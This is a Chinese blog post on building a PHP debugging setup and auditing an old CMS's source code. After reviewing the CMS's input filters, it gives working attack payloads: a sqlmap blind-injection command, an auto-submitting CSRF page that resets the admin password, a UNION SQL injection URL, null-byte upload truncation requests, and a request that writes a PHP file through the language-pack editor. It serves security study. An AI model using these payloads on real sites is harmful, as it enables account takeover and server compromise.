PHP环境搭建-windows环境搭建&zzcms代码审计
前言
在php代码审计过程中,断点调试是很常用的;
本文用phpstudy搭建zzcms站点,使用PhpStorm+Xdebug作为断点调试环境;
环境
操作系统:win10
网站集成环境:phpstudy2018
IDE:phpStorm + xdebug
浏览器;微软新版的Edge浏览器
cms:zzcms
1、前提:安装好phpstudy
2、安装好phpstom
3.安装xdebug
zzcms站点搭建
修改hosts文件,进行本地映射
思路
[XDebug]
xdebug.profiler_output_dir="D:/phpstudy_pro/Extensions/php/php5.3.29nts/ext/php_xdebug.dll" ;optional
xdebug.trace_output_dir="D:/phpstudy_pro/Extensions/php_log/php5.3.29nts.xdebug.trace" ;optional
zend_extension="D:/phpstudy_pro/Extensions/php/php5.3.29nts/ext/php_xdebug.dll" ;xdebug扩展的位置,每个人可能不一样,必须确定的
xdebug.remote_enable=On ;启动远程调试,必须确定
xdebug.remote_host=127.0.0.1 ;需要调试的远程主机
xdebug.remote_port=9001 ;远程主机与phpstorm通信的端口,必须确定
xdebug.remote_handler=dbgp ;通信协议,optional
xdebug.auto_trace=on ;启用代码自动跟踪,optional
xdebug.idekey=PhpStorm,optional
xdebug.collect_return=On ;收集返回值,optional
xdebug.collect_params=On ;收集参数,optional
审计:
看着界面就知道是用于企业打广告(x)和发布信息,招聘等功能的系统。且存在前台用户登录和后台管理系统。存在搜索功能。
防护策略
伪造 IP 注入过滤
思路:
首先在后台发现有记录用户 IP 的功能:
进入后台
可能出现的漏洞:伪造IP进行注入攻击
数据库监控,在注册的地方看看ip 是否被带入了数据库。
哦豁,会不会有传说中的伪造 IP 地址注入攻击呢 ???使用数据库监测工具,发现在注册用户发表评论的时候。用户的 IP 地址也的确被带入 SQL 语句中查询了:
全局定位到获取用户iP的代码部分:
phpstorm 搜索 获取IP,即可。
include/function.php
可以发现,当ip 除去. 后,如果不是纯数字,那么就设置为 0.0.0.0 。因此通过伪造IP进行注入是行不通了。
xss过滤
结果:
定位到留言函数的代码:
index/module/info_main.php
function add_message()
{
safe('message');
global $global,$smarty,$lang;
$mes_email = post('email');
$mes_type = post('type');
$mes_title = post('title');
$mes_text = post('text');
$mes_show = post('show');
if($mes_email == '' || $mes_type == '' || $mes_title == '' || $mes_text == '')
{
$info_text = $lang['submit_error_info'];
}else{
$mes_add_time = time();
if($mes_show != '2')
{
$mes_show = '0';
}
$obj = new message();
$obj->set_value('mes_user_id',$global['user_id']);
$obj->set_value('mes_type',$mes_type);
$obj->set_value('mes_email',$mes_email);
$obj->set_value('mes_title',$mes_title);
$obj->set_value('mes_text',$mes_text);
$obj->set_value('mes_add_time',$mes_add_time);
$obj->set_value('mes_show',$mes_show);
$obj->set_value('mes_lang',S_LANG);
$obj->add();
if(intval(get_varia('sentmail')))
{
$email_title = '您的网站有了新的留言';
$email_text = "[$mes_type] $mes_title <br /> $mes_text";
call_send_email($email_title,$email_text,$global['user_id'],$mes_email);
}
$info_text = $lang['submit_message'];
}
$smarty->assign('info_text',$info_text);
$smarty->assign('link_text',$lang['go_back']);
$smarty->assign('link_href',url(array('channel'=>'message')));
}
我们的输入是被传入了post 函数进行执行,跟进该函数。
右键一个类、方法、函数、变量 -> Go To -> Declaration 可以找到定义这个东西的代码
右键一个类、方法、函数、变量 -> Find Usage 可以找到所有调用了这个东西的代码
//获取post
function post($val,$filter = 'strict')
{
return $filter(isset($_POST[$val])?$_POST[$val]:'');
}
通过了strict 条件的过滤函数,找到这个的定义处。
include/function.php
可以看到html 的闭合标签被转义了,所以没法XSS
CSRF漏洞
网站有留言板和文章评论,如何存在 CSRF 越权的话可以在评论或者留言处贴构造好的 CSRF 链接,来进行 CSR F 攻击。感觉稳了!定位到相关功能代码:
index/module/user/deal.php
function edit_pwd()
{
safe('edit_pwd');
global $global,$smarty,$lang;
$old_pwd = post('old_pwd');
$new_pwd = post('new_pwd');
$re_pwd = post('re_pwd');
if(strlen($old_pwd) < 6 || strlen($old_pwd) > 15 || strlen($new_pwd) < 6 || strlen($new_pwd) > 15 || $new_pwd != $re_pwd)
{
$info_text = $lang['submit_error_info'];
}else{
$use_password = md5($old_pwd);
$obj = new users();
$obj->set_where('use_id = '.$global['user_id']);
$obj->set_where("use_password = '$use_password'");
if($obj->get_count() > 0)
{
$use_password = md5($new_pwd);
$obj->set_value('use_password',$use_password);
...
...
}
CSRF 修改用户密码,需要旧密码,行不通。
可控变量过滤
虽然作为一个 CMS,用户可控变量很多,文章浏览等功能不可避免地要进行数据库操作,但是该系统基本上把所以可控变量都给过滤了。
session过滤
使用了 $filter = 'strict' 严格模式,关于 strict 函数细节可以参考文章上面贴的代码:
include/function.php
//获取session
function get_session($name,$filter = 'strict')
{
if(S_SESSION)
{
return $filter(isset($_SESSION[$name])?$_SESSION[$name]:'');
}else{
return $filter(isset($_COOKIE[$name])?$_COOKIE[$name]:'');
}
}
cookie过滤
//设置cookie
function set_cookie($name,$value,$filter = 'strict',$expire = 0)
{
if($expire == 0)
{
setcookie($name,$filter($value));
}else{
setcookie($name,$filter($value),$expire);
}
}
管理员登录过滤
admin/module/info_main.php
function admin_login()
{
safe('admin_login');
global $smarty,$lang;
$username = substr(post('username'),0,30);
$password = substr(post('password'),0,30);
if($username == '' || $password == '')
{
unset_session('admin_username');
unset_session('admin_password');
$info_text = '对不起,用户名和密码不能为空';
$link_text = '返回重新登录';
}
...
...
}
普通用户登录过滤
index/module/info_main.php
function user_login()
{
safe('user_login');
global $global,$smarty,$lang;
$info_text = post('info_text');
$link_text = post('link_text');
$link_href = post('link_href');
$username = post('username');
$password = post('password');
...
...
}
大致就这么多防护了,接下来开始真正地来进行漏洞挖掘。
漏洞分析
后台任意文件删除
漏洞分析
漏洞文件:admin/deal.php
deal.php
这里核心看这处代码:
这是个删除文件的函数定义,删除文件用了白名单策略,必须只能删除:
$dir[0] = 'data/backup/';
$dir[1] = 'images/';
$dir[2] = 'resource/';
这 3 个目录下的文件,使用了 substr 从 $path 的 0 位置开始往后判断,只校验了 $path 前面是否在白名单内部,但是却忽略了 白名单后面的路径可能使用../ 的这种形式来穿越目录。
substr 从第$path的第一个字母开始往后判断,截取path前半部分长度和白名单是否相等,即是否是白名单里的那几个目录,是,然后unlink删除掉。
成功删除文件时,返回1。
这里我遇到了一个问题,就是这个域名是通过MAMP修改的本地HOSTS文件解析的,然后找到了一篇文章,
后台盲注
后台删除管理员账号这里存在数字型盲注,下面来看下细节代码:
// admin_id 用户可控 虽然经过post过滤了
$adm_id = post('adm_id');
// post过滤后直接带入数据库操作
$obj->set_where('adm_id = '.$global['admin_id']);
sqlmap.py -u "http://www.siuxiu.com/admin.php?/deal/dir-basic/" --cookie="PHPSESSID=5b9l6u3uhoci165pt09ldaf870;" --data="cmd=del_admin&id=3" -p "id" --technique=T --random-agent -v 3 --tamper="between"
管理员 CSRF
修改管理员密码,没有验证就密码,直接提供新密码,而且没有 Token 验证来防御 CSRF 攻击:
admin/moudle/basic/deal.php
function edit_admin()
{
global $global,$smarty;
$adm_id = post('adm_id');
$adm_password = post('adm_password');
$re_password = post('re_password');
$obj = new admin();
$obj->set_where('adm_id = '.$global['admin_id']);
$a = $obj->get_one();
$obj->set_where('');
$obj->set_where("adm_id = $adm_id");
$b = $obj->get_one();
$success = 0;
if($obj->get_count())
{
if($a['adm_id'] == $b['adm_id'] || $a['adm_grade'] < $b['adm_grade'])
{
if(strlen($adm_password) >= 5 && $adm_password == $re_password)
{
$obj->set_value('adm_password',md5($adm_password));
$obj->edit();
$success = 1;
}
}
}
if($success)
{
$info_text = '修改密码成功';
$link_text = '返回列表页';
$link_href = url(array('channel'=>'basic','mod'=>'admin_list'));
}else{
$info_text = '修改密码失败';
$link_text = '返回上一页';
$link_href = url(array('channel'=>'basic','mod'=>'admin_edit'));
}
$smarty->assign('info_text',$info_text);
$smarty->assign('link_text',$link_text);
$smarty->assign('link_href',$link_href);
}
同理添加管理员也是这样:
admin/moudle/basic/deal.php
修改管理员密码为:Passw0rd 构造以下 HTML 页面:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://10.211.55.12/admin.php?/basic/index.html" method="POST">
<input type="hidden" name="cmd" value="edit_admin" />
<input type="hidden" name="adm_id" value="1" />
<input type="hidden" name="adm_password" value="Passw0rd" />
<input type="hidden" name="re_password" value="Passw0rd" />
</form>
<script> document.forms[0].submit(); </script>
</body>
</html>
下面实际来模拟一下攻击场景
攻击者将上述 html 保存到外网上,引诱管理员点击,然后自动触发 CSRF 攻击:
当管理员在后台 使用当前浏览器去访问这个地址的时候就中招了,这个 html 里面的修改密码表单会自动触发,GG
前台盲注
index/module/search_main.php
<?php
function module_search_main()
{
global $global,$smarty;
$global['key'] = rawurldecode($global['key']);
$obj = new goods();
$obj->set_field('goo_id,goo_title,goo_x_img');
$obj->set_where("goo_title like '%" . $global['key'] . "%'");
$obj->set_where('goo_channel_id = '.get_id('channel','cha_code','goods'));
$len = get_varia('img_list_len');
$obj->set_page_size($len ? $len : 12);
$obj->set_page_num($global['page']);
$sheet = $obj->get_sheet();
for($i = 0; $i < count($sheet); $i ++)
{
$sheet[$i]['short_title'] = cut_str($sheet[$i]['goo_title'],10);
}
set_link($obj->get_page_sum());
$smarty->assign('search',$sheet);
}
//新秀
?>
先进行url解码。
$global['key'] = rawurldecode($global['key']);
然后就直接带入数据库查询了。
$obj->set_where("goo_title like '%" . $global['key'] . "%'");
漏洞利用:
http://sinsiu:8888/?/search/index.html/key-%27UNION%20ALL%20SELECT%20NULL,NULL,database()--%20-
5.后台上传getshell
涉及到上传的代码都使用了 白名单的文件上传策略,安全性明显要高于黑名单的策略,下面是几处上传的代码,共同特点都使用了 move_uploaded_file 函数来将文件放入到指定目录:
admin/moudle/file/deal.php
function upload()
{
$dir = post('dir');
$file = post('file');
$suffix = strtolower(get_file_name($file,'.'));
if(strpos('jpg,gif,png,bmp,jpeg,rar,zip,pdf',$suffix) !== false)
{
move_uploaded_file($_FILES['file_path']['tmp_name'],$dir.$file);
set_cookie('file',$dir.$file);
}
}
admin/moudle/article/deal.php
function upload()
{
$dir = post('dir');
$file = post('file');
$suffix = strtolower(get_file_name($file,'.'));
if(strpos('jpg,gif,png,bmp,jpeg,rar,zip,pdf',$suffix) !== false)
{
move_uploaded_file($_FILES['file_path']['tmp_name'],$dir.$file);
set_cookie('file',$dir.$file);
}
}
漏洞利用
move_uploaded_file 函数在 PHP 版本低于 5.3.4 的时候 很容易被 00 截断突破,所以这里的漏洞利用也是理论上利用的,生产环境必须是低版本的 PHP 才可以成功截断 getshell。
本系统有两处上传可以成功,分别是:
- 「文件管理」-「资源管理」-「上传文件」
- 「文章管理」-「添加下载」-「上传文件」
值得一提的是:「文件管理」-「图片管理」-「上传图片」这里国光并没有实践成功,原因是 admin/moudle/goods/deal.php 代码里面做了其他的限制措施,感兴趣的朋友可以去研究一下。
目录截断
Content-Disposition: form-data; name="cmd"
upload
-----------------------------2022546807425536886877898492
Content-Disposition: form-data; name="dir"
resource/233.php%00
-----------------------------2022546807425536886877898492
Content-Disposition: form-data; name="file"
1.jpg
文件名截断
Content-Disposition: form-data; name="cmd"
upload
-----------------------------2022546807425536886877898492
Content-Disposition: form-data; name="dir"
resource/
-----------------------------2022546807425536886877898492
Content-Disposition: form-data; name="file"
233.php%00.jpg
以上 %00 在 BP 里面得手动 URL 解码,文章中这样写 只是方便展示截断位置(这里又啰嗦了一句 实际上做安全的应该都知道 00 截断的吧)
后台语言设置 Getshell
漏洞分析
admin/moudle/file/deal.php
function edit_lang()
{
global $smarty,$lang;
$path = post('path');
$lang_text = post('lang_text','no_filter');
file_put_contents($path,$lang_text);
$smarty->assign('info_text','编辑语言包成功');
$smarty->assign('link_text','返回上一页');
$smarty->assign('link_href',url(array('channel'=>'file','mod'=>'lang_edit','path'=>rawurlencode($path))));
}
可以看到 path 路径是经过 post() 函数过滤的,但是 lang_text 过滤的规则是:no_filter 跟进一下这个规则细节:
include/function.php
//不过滤
function no_filter($str)
{
if(S_MAGIC_QUOTES_GPC)
{
$str = stripslashes($str);
}
return $str;
}
哦豁,没有过滤就直接执行了 file_put_contents($path,$lang_text); 写文件的操作~下面直接开始漏洞利用吧。
漏洞利用
「文件管理」-「资源管理」-「语言包」-「en-us/zh-cn」-「修改」
接着随便找一个语言包文件来修改,这里以修改 languages/en-us/admin/about.txt 文件为例子:
提交的时候 使用 BP 抓包内容如下:
BASH
cmd=edit_lang&path=languages%2Fen-us%2Fadmin%2Fabout.txt&lang_text=%3C%3Fphp+phpinfo%28%29%3B+%3F%3E
这里的 path 虽然是使用了严格模式过滤,但是我们把 about.txt 改成 xxx.php 是不再过滤规则之内的:
CODE
cmd=edit_lang&path=languages%2Fen-us%2Fadmin%2Fxxx.php&lang_text=%3C%3Fphp+phpinfo%28%29%3B+%3F%3E
语言包这里查看 可以看到编辑语言成功了:
直接访问康康:
成功写入phpinfo文件。
https://www.sqlsec.com/2020/01/sinsiu.html#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-4
总结
因为第一次写这种审计的文章,所以写的比较啰嗦了,日后再审计其他系统的分析文章的话 会尽量简洁明了的。最后感谢 Myself' 和 T00ls 的 MoR03r 的指点,解答了代码审计中的一些疑惑。
- 点赞
- 收藏
- 关注作者
评论(0)